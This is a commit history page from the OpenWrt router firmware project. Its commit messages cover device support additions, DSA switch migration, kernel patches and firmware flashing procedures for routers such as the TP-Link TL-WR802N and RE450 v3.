Commit Graph

23134 Commits (8819faff47ff20cfe81d58ef26c6a9054b142b74)

Author SHA1 Message Date
Álvaro Fernández Rojas 66f7062160 bcm63xx: vr-3032u: add missing compatible property
SoC is a BCM63168.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 57dce7c8f3 bcm63xx: vg-8050: add missing compatible property
SoC is a BCM63169.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
John Crispin ad39d06df7 mediatek: add mt7531 DSA support
Signed-off-by: John Crispin <john@phrozen.org>
4 years ago
John Crispin f72a2b004c mediatek: add bpi-r64 emmc support
Signed-off-by: John Crispin <john@phrozen.org>
4 years ago
John Crispin 55b97b6885 mediatek: make emmc image generation work on mt7622
Signed-off-by: John Crispin <john@phrozen.org>
4 years ago
John Crispin 127ad76311 mediatek: switch over to extended upstream eip97 driver
Signed-off-by: John Crispin <john@phrozen.org>
4 years ago
Sungbo Eo 3559b46b62 mediatek: tidy up image subtarget Makefiles
- sort device recipes alphabetically
- adjust board name of ELECOM WRC-2533GENT
- harmonize line wrapping

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[rebased]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Stijn Tintel 050c31fa26 bcm27xx: fix unmounting /boot after sysupgrade
Due to a typo, /boot is not properly unmounted after copying the backup
file to it. Fix the typo to solve this.

Fixes: 246916ddf4 ("brcm2708: use x86's upgrade scripts for all rpi targets")
Signed-off-by: Stijn Tintel <stijn@linux-ipv6.be>
4 years ago
Kevin Darbyshire-Bryant 7b4877c204 kernel: sch_cake: use skb hash improve wireguard compatibility
While the other fq-based qdiscs take advantage of skb->hash and doesn't
recompute it if it is already set, sch_cake does not.

This was a deliberate choice because sch_cake hashes various parts of the
packet header to support its advanced flow isolation modes. However,
foregoing the use of skb->hash entirely loses a few important benefits:

- When skb->hash is set by hardware, a few CPU cycles can be saved by not
  hashing again in software.

- Tunnel encapsulations will generally preserve the value of skb->hash from
  before the encapsulation, which allows flow-based qdiscs to distinguish
  between flows even though the outer packet header no longer has flow
  information.

It turns out that we can preserve these desirable properties in many cases,
while still supporting the advanced flow isolation properties of sch_cake.
This patch does so by reusing the skb->hash value as the flow_hash part of
the hashing procedure in cake_hash() only in the following conditions:

- If the skb->hash is marked as covering the flow headers (skb->l4_hash is
  set)

AND

- NAT header rewriting is either disabled, or did not change any values
  used for hashing. The latter is important to match local-origin packets
  such as those of a tunnel endpoint.

The immediate motivation for fixing this was the recent patch to WireGuard
to preserve the skb->hash on encapsulation. As such, this is also what I
tested against; with this patch, added latency under load for competing
flows drops from ~8 ms to sub-1ms on an RRUL test over a WireGuard tunnel
going through a virtual link shaped to 1Gbps using sch_cake. This matches
the results we saw with a similar setup using sch_fq_codel when testing the
WireGuard patch.

Fixes: 046f6fd5daef ("sched: Add Common Applications Kept Enhanced (cake) qdisc")
Signed-off-by: Toke Høiland-Jørgensen <toke@redhat.com>
Signed-off-by: David S. Miller <davem@davemloft.net>

Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
4 years ago
DENG Qingfang 898969636d mvebu: remove ClearFog Pro SUPPORTED_DEVICES
A direct upgrade from previous swconfig version with
incompatible settings to DSA will break the internet.
Remove SUPPORTED_DEVICES so users cannot upgrade directly.

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
[rebase after Linksys rename, adjust title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Paul Spooren df6f3090c4 mvebu: rename Linksys devices based on their common names
The Linksys devices in mvebu target feature a mixed naming,
where parts are based on the official product name (device
node, image; e.g. WRT3200ACM) and parts are based on the
internal code name (DTS file name, compatible, LED labels;
e.g. rango). This inconsistent naming has been perceived
as quite confusing.

A recent attempt by Paul Spooren to harmonize this naming
in kernel has been declined there. However, for us it still
makes sense to apply at least a part of these changes
locally.

Primarily, this patch changes the compatible in DTS and thus
the board name used in various scripts to have them in line
with the device, model and image names. Due to the recent
switch from swconfig to DSA, this allows us to drop
SUPPORTED_DEVICES and thus prevent seamless upgrade between
these incompatible setups.

However, this does not include the LED label rename from
Paul's initial patch: I don't think it's worth keeping the
enormous diff locally for this case, as we can implement
this much easier in 01_leds if we have to live with the
inconsistency anyway.

Signed-off-by: Paul Spooren <mail@aparcar.org>
[rebase, extend to all devices, drop DT LED changes]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Rafał Miłecki 8c31afb978 kernel: b53: fix compilation with kernels 5.5+
Signed-off-by: Rafał Miłecki <rafal@milecki.pl>
4 years ago
DENG Qingfang 5b9ba4a93e generic: mt7530: support adjusting EEE
Add support for adjusting EEE with ethtool

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang 7c47f6601d generic: mt7530: fix roaming from DSA user ports
When a client moves from a DSA user port to a software port in a bridge,
it cannot reach any other clients that connected to the DSA user ports.
That is because SA learning on the CPU port is disabled, so the switch
ignores the client's frames from the CPU port and still thinks it is at
the user port.

Fix it by enabling SA learning on the CPU port.

To prevent the switch from learning from flooding frames from the CPU
port, set skb->offload_fwd_mark to 1 for unicast and broadcast frames,
and let the switch flood them instead of trapping to the CPU port.
Multicast frames still need to be trapped to the CPU port for snooping,
so set the SA_DIS bit of the MTK tag to 1 when transmitting those frames
to disable SA learning.

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang dc4ffaa5ab generic: fix DSA VLAN filtering
Currently enabling VLAN filtering blocks all traffic in the bridge
immediately. That is because DSA ignores all VLAN setup when VLAN
filtering is disabled, and when it is enabled, there is no VLAN entry
in the VLAN table, causing all traffic to be blocked.

Add patches to allow VLAN setup even if VLAN filtering is disabled.

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang d56d05f01f generic: mt7530: set CPU port to fallback mode
Currently, setting a bridge's self PVID to other value and deleting
the default VID 1 renders untagged ports of that VLAN unable to talk to
the CPU port:

	bridge vlan add dev br0 vid 2 pvid untagged self
	bridge vlan del dev br0 vid 1 self
	bridge vlan add dev sw0p0 vid 2 pvid untagged
	bridge vlan del dev sw0p0 vid 1
	# br0 cannot send untagged frames out of sw0p0 anymore

That is because the CPU port is set to security mode and its PVID is
still 1, and untagged frames are dropped due to VLAN member violation.

Set the CPU port to fallback mode so untagged frames can pass through.

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
Felix Fietkau 81b59efefd ramips/mediatek: select kmod-mt7615-firmware where kmod-mt7615e is selected
The new mt76 version splits out the firmware, because the driver can also be
used for MT7663/MT7613

Signed-off-by: Felix Fietkau <nbd@nbd.name>
4 years ago
Felix Fietkau 2dd26fda16 kernel: fix portability issue with perf on linux 5.4
Remove dependencies on core kernel headers in host tools used to build perf,
which break on any non-linux system

Signed-off-by: Felix Fietkau <nbd@nbd.name>
4 years ago
DENG Qingfang 712e00877d mvebu: rename Linksys Mamba WAN port
Rename it to wan to match Linksys Armada 385 series

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang 5a49cbf6c4 mvebu: remove swconfig package
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang 24410595e9 generic: backport mv88e6xxx port mirroring support
Backport port mirroring support for mv88e6xxx

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang be309bfd74 mvebu: drop 06_set_iface_mac preinit script
MAC address is set in board.d script
Interface swapping is not needed anymore as switching to DSA breaks
previous configuration anyway

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang 9b34ea4f62 mvebu: use ucidef to set up MAC address
Use ucidef to set up MAC address instead of preinit script

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang 4149d2b91c mvebu: use eth0 as DSA CPU port for Linksys WRT
eth0 has HW MAC address while eth2 does not.
Use eth0 instead so we don't have to set LAN MAC manually.
Disable unused eth2, until multi CPU port is supported.

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang f799c65946 mvebu: update default config for DSA
Update network/LED configuration for DSA driver.
sysupgrade from images prior to this commit with config preserved
will break the ethernet.

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang 6058035e37 mvebu: remove swconfig symbols from kernel config
Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
DENG Qingfang a2bca5c922 mvebu: drop swconfig patches
Drop swconfig patches for Clearfog and Linksys WRT

Signed-off-by: DENG Qingfang <dengqf6@mail2.sysu.edu.cn>
4 years ago
Adrian Schmutzler 5fcb0723a3 mvebu: switch to kernel 5.4
Last reports with kernel 5.4 have all been positive [1], so let's open
this to a wider range of testers.

[1] https://github.com/openwrt/openwrt/pull/2804

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Álvaro Fernández Rojas 8421ea7de1 bcm63xx: vg-8050: fix WFI partition size
Each image can take up to 0x3d60000, which means 128k more per image.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas e8aac7013a bcm63xx: vr-3032u: fix WFI partition size
Each image can take up to 0x3d60000, which means 128k more per image.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 6c7cbf1420 kernel: mtdsplit: bcm_wfi: always add img partitions
This is useful when booting OpenWrt from ramdisks in order to have both
images partitions defined.
Furthermore, instead of always using img2 for the inactive image, let's use
img1 or img2 accordingly.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Tobias Schramm 2f5a242f67 ramips: mt7621: use higher SPI clock speed on Mikrotik rbm11g and rbm33g
Previously the dts were using a value determined by empirical testing,
because of a spi driver/clock bug. The bug was fixed quite some time
ago. 33 MHz is the default clock frequency used by RouterBOOT and thus
safe.

Signed-off-by: Tobias Schramm <t.schramm@manjaro.org>
4 years ago
Sungbo Eo 6ea87d35c6 bcm47xx: fix brcm-wl module loading
_dma_cache_wback_inv needs to be exported to load wl module successfully.

root@OpenWrt:/# insmod wl
[  363.867779] wl: Unknown symbol _dma_cache_wback_inv (err -2)
failed to insert /lib/modules/5.4.40/wl.ko

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Cc: Rafał Miłecki <rafal@milecki.pl>
4 years ago
Tim Harvey 0cf101d6b3 octeontx: fix mcp251x can controller
Update the can-mcp251x-convert-to-half-duplex-SPI patch to fix reception

Some SPI host controllers such as the Cavium Thunder TX do not support
full-duplex SPI. Using half-duplex transfers allows the driver to work
with those host controllers.

This patch fixes the fact that mcp251x_hw_rx_frame was still relying on
a full-duplex transfer where bits were being shifted on MOSI at the same time
as MISO. After splitting the transaction into a spi_write_then_read() care
must be taken to ignore the first byte.

Signed-off-by: Tim Harvey <tharvey@gateworks.com>
4 years ago
Tim Harvey 3fd8e86079 octeontx: fix gpio irq request
This fixes a regression in 5.4 that causes a crash when a driver requests
an ARM GPIO for an IRQ.

Signed-off-by: Tim Harvey <tharvey@gateworks.com>
4 years ago
Tim Harvey c3f9598339 octeontx: refresh kernel 5.4 config
refresh kernel config by running make kernel_menuconfig and saving changes

Signed-off-by: Tim Harvey <tharvey@gateworks.com>
4 years ago
Tim Harvey 0562037c3b imx6: image: increase max ubifs file-system size
The latest 2GiB NAND flash parts used by Gateworks ventana are 2K page-size.

Signed-off-by: Tim Harvey <tharvey@gateworks.com>
4 years ago
Tim Harvey 3b1e99d23e imx6: backport v5.8 imx6qdl-gw dt patches
- add fxos8700 support to GW52xx/GW53xx/GW54xx
- add USB_OTG support to GW552x
- add LSM9DS1 IMU support to GW560x
- add LSM9DS1 IMU support to GW5904
- add CC1352 UART to GW5910
- add BCM4330 support to GW5910
- fix wlan regulator for GW5910

Signed-off-by: Tim Harvey <tharvey@gateworks.com>
4 years ago
Florian Eckert 0b3e1205df kernel: add gpio-it87
Since commit 910df3f06c we have build in
on all X86/64 platforms the gpio-it87 driver.

Since this change I am getting the following error message on boot.
 > kern.err kernel: [    1.009416] gpio_it87: no device

I do not have this device on my system. To prevent the nonsensical
message and the loading of the module I have added this as a package, so
that it can be installed later or during image building.

Signed-off-by: Florian Eckert <fe@dev.tdt.de>
Reviewed-by: Philip Prindeville <philipp@redfish-solutions.com>
4 years ago
Johann Neuhauser 1d9812f48a ath79: phy-ar7200-usb: do not print error on defered init
This is only a cosmetic correction, as the driver works as expected.
However, the error message confuses users about a missing reset definition.

On a defered init we don't see the following error message now:
[    0.078292] ar7200-usb-phy usb-phy: phy reset is missing

Tested-by: Lech Perczak <lech.perczak@gmail.com>
Signed-off-by: Johann Neuhauser <johann@it-neuhauser.de>
4 years ago
Tomasz Maciej Nowak cf69472fb1 mvebu: espressobin: fix SATA and USB 3.0 ports detection
This commit removes changes from upstream commits:
8e18c8e58da6 arm64: dts: marvell: armada-3720-espressobin: declare SATA
PHY property
bd3d25b07342 arm64: dts: marvell: armada-37xx: link USB hosts with their
PHYs
For most boards which have factory bootloader this caused that devices
connected to USB 3.0 and SATA port were not detected. For them to
function users would need to upgrade the bootloader to version with ARM
Trusted Firmware 2.1 or later. Unfortunately there is no official
bootloader image with updated ATF component, therefore drop these
properties from nodes. This change was also tested briefly with
bootloader with updated ATF and the ports functioned properly.

Signed-off-by: Tomasz Maciej Nowak <tomek_n@o2.pl>
4 years ago
Thomas Albers f93fcf8923 ipq806x: enable disk-activity LED trigger
Enable the disk-activity LED trigger for ipq806x, since this SoC has an
onboard SATA controller.

Signed-off-by: Thomas Albers <thomas.gameiro@googlemail.com>
[split into separate commit]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Thomas Albers e23859765c linux/generic: remove obsolete config option LEDS_TRIGGER_IDE_DISK
Kernel config option LEDS_TRIGGER_IDE_DISK was renamed in kernel 4.8 to
CONFIG_LEDS_TRIGGER_DISK in upstream commit eb25cb9956cc ("leds: convert
IDE trigger to common disk trigger").

Removing it as it should be added only on targets which has usage for
this trigger.

Signed-off-by: Thomas Albers <thomas.gameiro@googlemail.com>
[commit description facelift]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Alexey Dobrovolsky 0a182fcba6 ramips: add kmod-usb-dwc2 to ZyXEL Keenetic image
ZyXEL Keenetic has a USB port. Thus, DWC2 USB controller driver should
be in the default image for this device.

Fixes: a7cbf59e0e ("ramips: add new device ZyXEL Keenetic as kn")
Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
[fixed whitespace issue]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Alexey Dobrovolsky ab841b4393 ramips: remove patches for USB-dwc2
In FS#2738 we can see that patch first introduced in
e8ebcff ("ramips: add a explicit reset to dwc2")
breaks USB functionality since 18.06. Thus, this patch should be removed.

Removed:
- 0032-USB-dwc2-add-device_reset.patch

Fixes: FS#2738
Fixes: FS#2964

Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
4 years ago
Adrian Schmutzler 04373e20cb apm821xx: set DEVICE_TYPE to "nas" for sata subtarget
Since DEVICE_TYPE cannot be set per device, just set DEVICE_TYPE
to "nas" for the entire subtarget, which only contains this single
device.

Note that while this looks like a cosmetic change in combination
with the previous patches, this particular patch actually changes
the packages for the device.

Suggested-by: Christian Lamparter <chunkeey@gmail.com>
Cc: Christian Lamparter <chunkeey@gmail.com>
Cc: Sungbo Eo <mans0n@gorani.run>
Cc: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 057e5f6ede treewide: provide consistent basic DEVICE_TYPE
While the effective "default" based on frequent use is "router", the
DEVICE_TYPE variable actually provides a "basic" configuration without
selecting any additional packages.

This is currently set up with the identifier "bootloader", which seems
to be not used at all. However, the only targets not using "router" or
"nas" are actually archs38 and arc770, which use their own value
"developerboard" for DEVICE_TYPE which seems to have been invented when
these targets where added. The latter is not implemented in target.mk,
though, and will fall back to the "basic" set of packages then.

So, to clean this up and make it more readable, let's just define a
DEVICE_TYPE "basic" and use it for the aforementioned cases.

Cc: Christian Lamparter <chunkeey@gmail.com>
Cc: Sungbo Eo <mans0n@gorani.run>
Cc: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 64ebf74c05 treewide: drop DEVICE_TYPE when used as device variable
DEVICE_TYPE is a target/subtarget variable, and it does not have
any effect when set in a device definition. It can only be set
in a target's or subtarget's Makefile.

Consequently, having it set anyway is misleading, so this drops
all cases.

This effectively reverts the following commits:
7a1497fd60 ("apm821xx: MBL: set DEVICE_TYPE to NAS")
5b4765c93a ("gemini: Classify Raidsonic NAS IB-4220-B as a NAS")
cdc6de460b ("gemini: D-Link DNS-313 is a NAS")

For the following commit, the variable was set when adding device
support:
27b2f0fc0f ("kirkwood: add support for Iomega Storcenter ix2-200")

Cc: Christian Lamparter <chunkeey@gmail.com>
Cc: Sungbo Eo <mans0n@gorani.run>
Cc: Linus Walleij <linus.walleij@linaro.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Álvaro Fernández Rojas 6dc01cdee8 bcm63xx: lzma-loader: allow bigger ramdisks
Some (older) CFEs are loaded at 0x80401000 and ramdisks are loaded at
0x80010000, which means that ramdisk size limit is 0x3F1000 (almost 4M).
Therefore, current ramdisks (~4MB) are overwritting CFE in these devices,
which results in a crash.

This commit changes the address where ramdisks are loaded to 0x80a00000,
which is the same address where kernel is loaded when booting from the flash.
Therefore, lzma-loader will now be loaded at 0x80a00000, but it will still
decompress the kernel at 0x80010000.

Tested with huawei,hg556a-b, which has its CFE loaded at 0x80401000.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Daniel Golle 646bfe0842 malta: add missing symbols for kernel 5.4
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
4 years ago
Álvaro Fernández Rojas 231f728f69 bcm63xx: ad1018: remove cfe.bin image support
Apparently, Sercomm allows loading a BCM WFI image via CFE, but this image
destroys "serial" and "protect" nand partitions, which is wrong.
It will also set both bootflags to the same value, which causes booting
issues with cferam (cferom will alternatively boot from cferam1 or cferam2
each time the device is rebooted).
Now that OEM Sercomm images are supported it's time to remove this hacky
cfe.bin image support.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 39f44be1dc bcm63xx: ad1018: add missing partitions
This partitions were missing when support for this device was added.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas b302a44206 bcm63xx: stop using legacy lzma for all devices
BCM6368 and newer devices are compatible with any lzma compression parameters.
Add a new legacy device definition and use it on BCM6358 and older devices.

Compressed kernel size is reduced by ~1.35%.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas e73c61a978 bcm63xx: vg-8050: switch to bcm-wfi-split
Allows to keep a backup firmware in case active firmware is corrupted.
Also fix hsspi address warning.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas b1d375b744 bcm63xx: vr-3032u: switch to bcm-wfi-split
Allows to keep a backup firmware in case active firmware is corrupted.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 82cf488819 bcm63xx: nand: order devices alphabetically
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 824cb78cf3 bcm63xx: nand: add CFE_WFI_VERSION values for each device
CFE_WFI_VERSION should be defined per device instead of using a generic value.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 18d2eeab8e kernel: mtdsplit: support Broadcom WFI bootflags
When firmware is flashed, cferam.000 extension is renamed to the next number.
When booting, CFE scans the NAND and picks the partition with the highest
cferam extension and ignores the other one.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 1fd3dabfaf kernel: mtdsplit: improve JFFS2 scan
Allow retrieving full file name and length by parameters.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas eed8a927ee kernel: mtdsplit: bcm_wfi: refactor code
Create new parse_bcm_wfi function with common code from current parsers.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Petr Štetiar 392c64d8fd kernel: bump 5.4 to 5.4.43
Refreshed patches, removed upstreamed patch:

 bcm27xx: 950-0642-component-Silence-bind-error-on-EPROBE_DEFER.patch

Run tested: qemu-x86-64
Build tested: x86/64, imx6, sunxi/a53

Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
Álvaro Fernández Rojas e238c85e57 bcm63xx: nand: sercomm: switch to sercomm-load script
xxd is not a valid dependency and shouldn't be used.
Fixes buildbot failure.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas a47acae319 bcm63xx: ad1018: support Sercomm factory images
This images can be flashed from the official firmware, as opposed to CFE
images, which can only be flashed from CFE and require opening the case.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas f263a0f9ff bcm63xx: nand: support Sercomm firmwares
Add support for Sercomm factory firmwares (AES 256 CBC encrypted).

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 4b2fe12953 kernel: mtdsplit: bcm_wfi: remove brcm,wfi-sercomm compatibility
The only Sercomm WFI user has been migrated to a dedicated firmware parser.
Keep support for no cferam partition based on a boolean DT property.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas 80d8114802 bcm63xx: ad1018: switch to Sercomm WFI
Support Sercomm firmware partition split.
WFI partition must be defined after bootflag partitions in order for the
parser to properly find bootflag1 and bootflag2 partitions.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas fce7380e0e kernel: mtdsplit: bcm_wfi: support Sercomm bootflags
Sercomm uses 2 bootflag partitions and boots the firmware with the highest
bootflag. Support splitting the firmware partition while keeping support for
unsplitted layout.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
Álvaro Fernández Rojas cd81d105d5 kernel: mtdsplit: bcm_wfi: code refactoring
- Rename master to mtd.
- Pass mtd size as an argument.
- Rename of_match_table.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
David Bauer b017a016cc ar71xx: correct button type for TL-MR3020 mode slider
The TP-Link TL-MR3020 has a three-state mode slider which was previously
integrated as a button (EV_KEY). This led to spurious activations of
failsafe mode.

Set the type for the button to switch (EV_SW), to avoid unintended
activations of failsafe mode.

Related: commit 27f3f493de ("gpio-button-hotplug: unify polled and
interrupt code")

Signed-off-by: David Bauer <mail@david-bauer.net>
4 years ago
Adrian Schmutzler 91b1a625f4 ath79: add label MAC address for TP-Link RE450 v2/v3
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Andreas Wiese c764c512ac ath79: add support for TP-Link RE450 v3
TP-Link RE450 v3 is a dual band router/range-extender based on
Qualcomm/Atheros QCA9563 + QCA9880.

This device is nearly identical to RE450 v2 besides a modified flash
layout (hence I think force-flashing a RE450v2 image will lead to at
least loss of MAC address).

Specification:

- 775 MHz CPU
- 64 MB of RAM (DDR2)
- 8 MB of FLASH (SPI NOR)
- 3T3R 2.4 GHz
- 3T3R 5 GHz
- 1x 10/100/1000 Mbps Ethernet (AR8033 PHY)
- 7x LED, 4x button-
- possible UART header on PCB¹

Flash instruction:
Apply factory image in OEM firmware web-gui.

¹ Didn't check to connect as I didn't even manage to connect on
  RE450v2 (AFAIU it requires disconnecting some resistors, which I was
  too much of a coward to do).  But given the similarities to v2 I
  think it's the same or very similar procedure (and most likely also
  the only way to debrick).

Signed-off-by: Andreas Wiese <aw-openwrt@meterriblecrew.net>
[remove dts-v1 and compatible in DTSI]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Lech Perczak 7e513136c6 ath79: add support for TP-Link TL-WR802N V1 and V2
Specification:
- SoC: Qualcomm Atheros QCA9533 (560 MHz, MIPS 24Kc)
- RAM: 32 MiB
- Storage: 4 MiB of Flash on board
- Wireless: Built into QCA9533 (Honey Bee), PHY modes b/g/n
- Ethernet: 1x100M (port0)

Installation through OEM Web Interface:
- Connect to TL-WR802N by Ethernet or Wi-Fi
- Go to web interface:
  [V1] http://192.168.0.1
  [V2] http://192.168.0.254
  Default user is "admin" & password is "admin".
  On V2, there is no DHCP server running by default, so remember to set
  IP manually.
- Go to "System Tools -> Firmware Upgrade"
- Browse for firmware:
  [V1] "*.factory.bin"
  [V2] "*.factory-us.bin" or  "*.factory-eu.bin" for eu model
  Web interface may complain if filename is too long. In such case,
  rename .bin to something shorter.
- Click upgrade

Installation through tftp:
Note: T_OUT, T_IN and GND on the board must be connected to USB TTL
      Serial Configuration 115200 8n1

- Boot the TL-WR802N
- When "Autobooting in 1 seconds" appears type "tpl" followed by enter
- Connect to the board Ethernet port
    (IPADDR: 192.168.1.1, ServerIP: 192.168.1.10)
- tftpboot 0x80000000 <Firmware Image Name>
- Record the result of "printenv bootcmd"
- Enter "erase <Result of 'printenv bootcmd'> +0x3c0000"
    (e.g erase 0x9f020000 +0x3c0000)
- Enter "cp.b 0x80000000 <Result of 'printenv bootcmd'> 0x3c0000"
    (e.g cp.b 0x80000000 0x9f020000 0x3c0000)
- Enter "bootm <Result of 'printenv bootcmd'>"
    (e.g bootm 0x9f020000)

Notes:

When porting from ar71xx target to ath79, I found out that on V2,
reset button is on GPIO12 and active low, instead of GPIO11 and
active high. By cross-flashing V1 firmware to V2, I confirmed
the same is true for V1.
Also according to manual of V1, this one also has green
LED instead of blue - both of those issues were fixed accordingly.

The MAC address assignment has been checked with OEM firmware.

Installation manual based on ar71xx support by Thomas Roberts

Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
[slightly adjust commit message, add MAC address comment]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Lech Perczak f841e70640 ar71xx: fix reset key for TP-Link TL-WR802N V1/V2
During porting support for this router to ath79 target
it was discovered that GPIO mapping was incorrect (GPIO11 active high).
Correct mapping for both V1 and V2 is GPIO12 active low.

Default configuration from GPL source for V2 explicitly states this, and
this was confirmed experimentally on ath79 by looking on
/sys/kernel/debug/gpio. Correctness of this was also validated for V1 by
cross-flashing vendor firmware for V1 on V2 hardware, in which reset
button also worked.

Fix it.

Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
[slightly adjust commit title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Roger Pueyo Centelles 95caa3436d ath79: update WA/XC devices UBNT_VERSION to 8.5.3
Ubiquiti WA devices with newer hw version 2011K require UBNT_VERSION
to be at least 8.5.3, otherwise the image is rejected:

   New ver: WA.ar934x.v8.5.0-42.OpenWrt-r10947-65030d81f3
   Versions: New(525568) 8.5.0, Required(525571) 8.5.3
   Invalid version 'WA.ar934x.v8.5.0-42.OpenWrt-r10947-65030d81f3'

For consistency, also increase version number for XC devices.

Tested-by: Pedro <pedrowrt@cas.cat>
Signed-off-by: Roger Pueyo Centelles <roger.pueyo@guifi.net>
4 years ago
Samantha Collard 0f910a8c4c ipq806x: EA8500 fix boot partition detection
Remove extraneous code that disabled boot partition detection.

Fixes: b3770eaca3 ("mtd: base-files: Unify dual-firmware devices (Linksys)")
Signed-off-by: Samantha Collard <sammyrc34@gmail.com>
4 years ago
Adrian Schmutzler 705fe43522 ath79: fix LEDs for GL.inet GL-AR150
Since the wireless LED was used for boot and set up with a DT
trigger, the WiFi indication hasn't worked on ath79 at all.

In addition, a look into the manual revealed that the OEM
configuration is as follows:

LED 1 (green): power
LED 2 (green): configurable
LED 3 (red): wireless

So, let's just keep the WiFi trigger and convert the rest to its
"intended" use.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler c3742ce38c bcm53xx: remove support for kernel 4.14
We currently support three kernel versions on this target, let's
just get rid of the oldest one.

Cc: Rafał Miłecki <rafal@milecki.pl>
Cc: John Crispin <john@phrozen.org>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 06feb09e54 bcm47xx: remove support for kernel 4.14
We currently support three kernel versions on this target, let's
just get rid of the oldest one.

Cc: Rafał Miłecki <rafal@milecki.pl>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler a7b07f8ba8 ar71xx: fix splitting firmware partition for TL-WR902AC v1
The -O option for the tplink-v1-header was missing for the TP-Link
TL-WR902AC v1, while safeloader and MTDPARTS where set up with a
single firmware partition.

This led to bootloops after using sysupgrade.

Fixes: FS#3118

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Álvaro Fernández Rojas 77e97abf12 bcm27xx: update to latest patches from RPi foundation
Also removes random module and switches to new bcm2711 thermal driver.
Boot tested on RPi 4B v1.1 4G.

Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
4 years ago
